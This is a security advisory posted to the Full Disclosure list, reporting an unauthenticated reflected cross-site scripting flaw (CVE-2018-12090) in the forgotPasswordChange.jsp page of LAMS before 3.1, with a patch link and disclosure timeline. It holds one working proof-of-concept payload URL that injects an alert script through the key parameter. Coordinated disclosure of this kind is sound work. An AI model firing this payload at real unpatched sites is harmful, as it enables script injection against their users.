[FD] CVE-2018-12090 - LAMS < 3.1 Unauthenticated Cross-Site Scripting

[Nikola Kojic <nikola.kojic@xxxxxxxxx>]

# Exploit Title: LAMS < 3.1 - Unauthenticated Reflected XSS
# Date: 2018-08-06
# Exploit Author: Nikola Kojic
# Website: https://ras-it.rs/
# Vendor Homepage: https://www.lamsfoundation.org/
# Software Link: https://www.lamsfoundation.org/downloads_home.htm
# Category: Web Application
# Platform: Java
# Version: < 3.1
# CVE : 2018-12090

1. Vendor Description:
LAMS is a revolutionary new tool for designing, managing and delivering 
online collaborative learning activities. It provides teachers with a 
highly intuitive visual authoring environment for creating sequences of 
learning activities.


2. Technical Details and Exploitation:
There is unauthenticated reflected cross-site scripting (XSS) in LAMS 
before 3.1 that allows a remote attacker to introduce arbitrary 
JavaScript via manipulation of an unsanitized GET parameter during a 
forgotPasswordChange.jsp?key= password change.


3. Proof of Concept:
http://localhost:8080/lams/forgotPasswordChange.jsp?key=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E


4. Solution:
The vendor has fixed the issues and released the patches.

https://code.lamsfoundation.org/fisheye/changelog/lams-github?cs=6825a5272d3a48f8cafa370b0e0107cc9077cff6


5. Timeline:
2018-06-07: Discovered
2018-06-08: Vendor notified
2018-06-08: Vendor replies
2018-06-11: CVE number requested
2018-06-11: CVE number assigned
2018-06-15: Patch released
2018-08-05: Public disclosure



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